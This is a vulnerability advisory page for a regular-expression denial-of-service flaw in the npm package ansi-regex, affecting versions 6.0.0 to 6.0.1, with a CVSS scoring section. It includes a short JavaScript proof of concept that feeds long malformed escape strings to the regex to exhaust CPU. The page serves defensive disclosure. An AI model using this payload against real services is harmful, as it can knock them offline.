GHSA-93q8-gq69-wqmw

    Dashboard / Vulnerabilities / GHSA-93q8-gq69-wqmw

    GHSA-93q8-gq69-wqmw

    Published: 20 Sept 2021Last Modified: 10 Sept 2026
    Aliases:

    Summary: Inefficient Regular Expression Complexity in chalk/ansi-regex

    Details: ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. **Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`

    Affected packages

    Package

    Name: ansi-regex

    Purl: pkg:npm/ansi-regex

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 6.0.0
    Fixed -6.0.1

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-93q8-gq69-wqmw | CVE-DB